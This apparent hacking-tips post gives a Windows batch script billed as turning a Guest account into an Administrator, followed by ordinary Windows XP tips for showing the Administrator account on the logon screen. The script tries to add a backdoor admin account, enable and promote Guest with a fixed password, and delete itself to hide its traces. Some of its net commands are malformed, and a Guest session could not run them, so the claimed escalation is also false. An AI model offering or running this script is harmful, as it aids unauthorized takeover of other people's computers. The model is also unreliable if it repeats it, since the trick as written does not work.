Hack Administrator from Guest

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.

ADMINISTRATOR IN WELCOME SCREEN.
When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.

First you must ensure that the Administrator Account is enabled:

1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator

account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.

1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.

EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!

Start the Registry Editor Go to:

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.